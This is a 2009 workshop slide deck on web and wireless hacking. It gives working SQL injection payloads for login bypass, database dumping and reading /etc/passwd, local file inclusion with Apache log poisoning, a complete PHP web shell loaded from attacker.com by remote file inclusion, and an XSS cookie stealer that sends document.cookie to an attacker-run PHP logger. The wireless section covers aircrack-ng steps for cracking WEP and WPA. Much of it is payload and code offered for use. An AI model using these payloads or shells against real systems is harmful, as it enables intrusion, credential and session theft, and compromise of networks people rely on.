web & wireless hacking

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WEB & WIRELESS HACKING

Don “df0x” Anto

Makasar, Juni 2009

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Content• Introduction• Web Exploitation

– SQL Injection– File Inclussion– XSS

• Breaking Wireless Infrastructure– War Driving– Exploiting Wireless Network

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Introduction• Don “df0x” Anto• IT security researcher• Hacker?? Not, but IT security researcher• Contact

– we@ipsecs.com

• URL– http://ipsecs.com– http://kandangjamur.net

• Bachelor degree in Electrical engineering• Add my facebook dj.antoxz@gmail.com

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1st Day, WEB HACKING

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Web Exploitation• It's exploiting web application programming

flaws.• Programming mistakes are always happen.• Targeting clients or servers.• Possible to steal databases and other sensitif

informations, steal cookie or session, execute arbitrary commands, or fully compromise the system.

• It's easy to do. Google helps you :).

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Common Web Exploitation• SQL Injection, an attack which's targeting

sensitive information in database server. Possible to compromise system.

• File Inclussion, an attack which usually to gain shell access on the remote target.– Local file inclussion– Remote file inclussion

• Cross Site Scripting (XSS), an attack which targeting user or client of vulnerable website.– Doom– Persistent– Non-persistent

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SQL INJECTION

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SQL Injection• Injecting malicious SQL query to take profits.• Usually is used to bypass login, steal sensitive

information on database. Further attack can be used in fully compromising system.

• User input is not well validated or no sanitation process.

• All examples and demos bellow are in PHP MySQL.

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SQL Injection in login form• User input in login form is not validated before to

be executed in database.• Attacker is possible to send arbitrary SQL query

through login form and bypassing login process.• Attacker can also execute other SQL query.

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Vulnerable Code• Example vulnerable code in login process:

$pass = md5($_POST['password']);

$query = "SELECT * FROM tblUser WHERE username = '" . $_POST['username'] . "' AND password = '" . $pass . "'";

$q = mysql_query($query);

• Username which's sent from login form is not validated.

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Exploit Login• Exploit code:username = admin' OR 'a'='a

password = terserah

• SQL query to be executed by database server is:SELECT * FROM tblUser WHERE username = 'admin' OR 'a'='a'

AND password = 'e00b29d5b34c3f78df09d45921c9ec47'

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SQL Injection in login form

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SQL Logic• AND operator is executed before OR, result of

query is:'a'='a' AND password = 'e00b29d5b34c3f78df09d45921c9ec47'

• Boolean logic result is FALSE, then:username = 'admin' OR FALSE

• Boolean logic result is TRUE (admin).• Attacker successfully bypassing login form.

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SQL Injection in URI parameter• Parameter input in URI is not validated before to

be executed in database.• Attacker is possible to send arbitrary SQL query

by modifying parameter input.

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Vulnerable Code• Example vulnerable code while inputing URI

parameters:

$query = "SELECT * FROM news WHERE id=" . $_GET['aid'] ;

$q = mysql_query($query);

• Parameter 'aid' which's taken from URI is not validated.

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Exploiting SQL Injection• Checking vulnerability using AND logichttp://example.com/news.php?aid=1 AND 1=1--

http://example.com/news.php?aid=1 AND 1=0--

• Knowing number of field using UNION SELECT http://example.com/news.php?aid=1 UNION SELECT 1--

http://example.com/news.php?aid=1 UNION SELECT 1,2--

http://example.com/news.php?aid=1 UNION SELECT 1,2,3,..,n--

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Knowing Number of Field

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SQL Injection in URI parameter• In Case table which generates “news”

contains 3 fields

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Exploiting SQL Injection• Knowing tables in databasehttp://example.com/news.php?aid=-1 UNION SELECT

1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--

• Knowing fields in table 'tblUser'http://example.com/news.php?aid=-1 UNION SELECT

1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='tblUser'--

OR IN HEXAL

http://example.com/news.php?aid=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=0x74626c55736572--

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Knowing Tables in DB

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Exploiting SQL Injection• Viewing information in tableshttp://example.com/news.php?aid=-1 UNION SELECT

1,2,CONCAT_WS(0x2c,username,password,namaLengkap) FROM tblUser--

• Viewing arbitrary files (if FILE access is granted)http://example.com/news.php?aid=-1 UNION SELECT

1,2,LOAD_FILE('/etc/passwd')--

OR IN HEXAL

http://example.com/news.php?aid=-1 UNION SELECT 1,2,LOAD_FILE(0x2f6574632f706173737764)--

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Viewing Table Records

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FILE INCLUSSION

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File Inclussion• Including malicious or sensitive file to be

executed by server.• Usually is used to steal sensitive information,

execute arbitrary command, or compromise system.

• User input is not well validated or no sanitation process.

• All examples and demos bellow are in PHP MySQL.

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Local File Inclussion• Including sensitive file in local server (vulnerable

server) to be executed by server.• Usually is used to steal sensitive information,

execute arbitrary command. Further attack can be used in fully compromising system.

• User input is not well validated or no sanitation process.

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Vulnerable Code• Example vulnerable code:

define('DOCROOT', '/var/www/html/modules');

$filename = DOCROOT . "/" . $_GET['module'] . ".php";

include($filename);

• Parameter 'module' which's taken from URI is not validated.

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Viewing Sensitive Files• Exploit code to viewing sensitive files on

vulnerable system:

http://example.com/index.php?module=../../../../../../../etc/passwd%00

http://example.com/index.php?module=../../../../../../../etc/group%00

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File /etc/passwd

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Placing Malicious Log• Placing malicious apache log uses telnet to inject

system command:

$ telnet example.com 80

Trying example.com...

Connected to example.com.

Escape character is '^]'.

GET /<?php passthru($_GET['cmd']) ?> HTTP/1.1

Host:example.com

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Malicious Log

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Executing Command• Executing command via access_log apache (in

case apache log is readable)

http://example.com/index.php?module=../../../../../../../usr/local/apache/logs/access_log%00&cmd=uname -a

http://example.com/index.php?module=../../../../../../../usr/local/apache/logs/access_log%00&cmd=id

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Command “id”

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Remote File Inclussion• Including sensitive file in remote server (attacker

server) to be executed by server.• Usually to execute arbitrary command using web

shell. Further attack can be used in fully compormising system.

• User input is not well validated or no sanitation process.

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Vulnerable Code• Example vulnerable code:

$filename = $_GET['page'] . ".php";

include($filename);

• Parameter 'page' which's taken from URI is not validated.

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PHP Shell• Simple web shell:<?php

/*Basic PHP web shell injek.txt*/

if(isset($_GET['exec'])){

if(!empty($_GET['exec'])){

$cmd = $_GET['exec'];

if(function_exists('passthru')){

passthru($cmd);

}

}

}

?>

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Public PHP Shell• Widely known web shell : r57, c99• Commonly used in exploiting remote file

inclussion.

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r57

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Executing Command• Injecting command:

http://example.com/view.php?page=http://attacker.com/injek.txt&exec=id

http://example.com/view.php?page=http://attacker.com/injek.txt&exec=ls -al

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Command 'ls -al'

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CROSS SITE SCRIPTING

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Cross Site Scripting• Inserting HTML/java script code to be executed

by client browser which views vulnerable website.

• Usually is used in stealing cookie on computer client, phising, and tricking user to download arbitrary file.

• User input is not well validated or no sanitation process.

• All examples and demos bellow are in PHP MySQL.

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Cross Site Scripting• Doom based XSS, XSS in vulnerable file which

comes from default installed software.• Non-Persistent XSS, XSS in vulnerable web

page which can be exploited by tricking user to click malicious URI. Characteristic : temporal.

• Persistent XSS, XSS in vulnerable web page which can be exploited to insert malicious code to database. Characteristic : permanent.

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Vulnerable Code• Example vulnerable code:

echo "<pre> Searching for ". $_GET['key'] . "...</pre><br/>\n";

• Parameter 'key' which's sent from search form is not validated.

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Cross Site Scripting• Checking if XSS vulnerable:

http://example.com/search.php?key=<script>alert('XSS found dude!')</script>

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Cross Site Scripting

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Cookie Stealing• Stealing cookie:http://example.com/search.php?key=<script

src="http://attacker.com/payload.js"></script>

• Content payload.jsdocument.location="http://attacker.com/cookie-save.php?

c="+document.cookie

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Cookie Grabber• Content of cookie-save.php:<?php

/*Cookie stealer*/

$f = fopen('/tmp/cookie.txt', 'a');

$date = date("j F, Y, g:i a");

fwrite($f, "IP Address : ". $_SERVER['REMOTE_ADDR'] ."\n".

"Cookie : ". $_GET['c'] ."\n".

"Date and Time : ". $date ."\n".

"\n\n");

fclose($f);

?>

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Hexal Encoding• Anonymize malicious URI using hexal encoding:http://example.com/search.php?key=<script

src="http://attacker.com/payload.js"></script>

HEXAL ENCODING

http://example.com/search.php?key=%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2e%63%6f%6d%2f%70%61%79%6c%6f%61%64%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e

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DEMO - Q&A WEB HACKING

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THANK YOU!

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2nd Day, WIRELESS HACKING

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Wireless Network• Now, is widely used in campus, government,

company, and many public places.• Provide network for mobile devices.• More flexible than wired network.• More insecure than wired network, so here we

go!

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War Driving• Activity to search Wi-Fi wireless network.• Public tools to do War Driving

– Windows : NetStumbler, Wireshark– Linux : Kismet, AirCrack-ng, AirSnort, Wireshark– OSX : KisMac

• I'm using Linux Ubuntu 8.10.

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Kismet• Console based 802.11 wireless network detector

and sniffer.• It identifies wireless network by pasively sniffing.• It's already exist on Ubuntu Repository or you

can download from www.kismetwireless.net. • Use 'apt-get install kismet' on Ubuntu, read the

README if you want to install from source.

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Kismet

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Kismet

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Kismet

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AirSnort• GUI based 802.11 wireless network detector.• Designed for WEP Cracker.• It isn't ready on my Ubuntu repository, download

from www.sourceforge.net.• Read the README to install.

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aircrack-ng (formerly : aircrack)• Console based 802.11 wireless network

detector. • Designed for WEP & WPA-PSK Cracker.• It's already exist on Ubuntu repository or you can

downlod from www.aircrack-ng.org.• Use 'apt-get install aircrack-ng' on Ubuntu, read

the README if you want to install from source.

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aircrack-ng (formerly : aircrack)airodump wlan0

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Wireshark• GUI based network protocol analyzer for UNIX

and Windows.• The most complete protocol analyzer which

support many data communication protocols.• It's already exist on Ubuntu repository or you can

download from www.wireshark.org.• Use 'apt-get install wireshark' on Ubuntu,read the

README if you want to install from source.

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Wireshark

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NetStumbler• Best known windows tool to find wireless

networks.• It is function like Kismet on linux or KisMac on

OSX.• You can download NetStumbler in

www.netstumbler.com • Since I use ubuntu, there's no demo for this tool.

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NetStumbler

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Wireless Network Protection• MAC Filtering• WEP (Wired Equivalent Privacy)• WPA (Wi-Fi Protected Access)• WPA2 (Wi-Fi Protected Access 2)• Captive Portal

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Exploiting Wireless Network• Miss Configuration (Human Error)• Spoofing• Cracking Protection• Denial of Service

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Miss Configuration• Default Configuration on Device (Access Point)• Default Username & Password• Default Range IP Address• SNMP public & private community• No encryption enabled

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Spoofing & Rogue AP• Spoofing MAC address to bypass MAC filtering.• Tools

– Linux : ifconfig– Windows : smac, regedit

• Creating Rogue AP to trick wireless user, then doing Man in The Middle and sniffing.

• Tools– airsnarf http://airsnarf.shmoo.com

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MAC Spoofing

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WEP Cracking• WEP is based on RC4 algorithm and CRC32.• Collecting as much as possible weak IV

(Insialization Vector) to be used in FMS attack.• Accelerated collecting IV using traffic injection.• Tools : aircrack-ng, AirSnort

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WEP Cracking• Start interface on Monitor mode.• Run kismet to find AP target.• Find AP with connected clients on it. Or do fake

authentication to associate with AP if no client connected.

• Inject packet using aireplay-ng• Dump packet using airodump-ng• Crack dumped file using aircrack-ng

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Dumping Packet

airodump-ng -c 11 --bssid 00:1c:10:b3:59:38 -w /tmp/output wlan0

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Cracking Key

aircrack-ng -z -b 00:1c:10:b3:59:38 /tmp/output-01.cap

Key is “abcdef1234”

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WPA Cracking• WPA is based on RC4 algorithm + TKIP/AES• WPA-PSK can be attack using dictionary attack.• Of course, it needs dictionary• Can be cracked when offline• Tools : aircrack-ng

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WPA Cracking• Start interface on Monitor mode.• Run kismet to find AP target.• Find AP with which,s protected by WPA.• Dump packet using airodump-ng• Wait for a client to authenticate to AP, or

deauthenticate client which's connected to AP.• Crack dumped file using aircrack-ng

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WPA Cracking

airodump-ng -c 11 --bssid 00:21:29:79:50:F1 -w /tmp/out-psk wlan0

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WPA Cracking

aircrack-ng -w /usr/share/dict/words -b 00:21:29:79:50:F1 /tmp/out-psk*.cap

Key is “miko2009”

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Denial of Service• Making wireless network unavailable.• Tools : airjack, void11, aircrack

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DEMO - Q&A WIRELESS HACKING

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THANK YOU!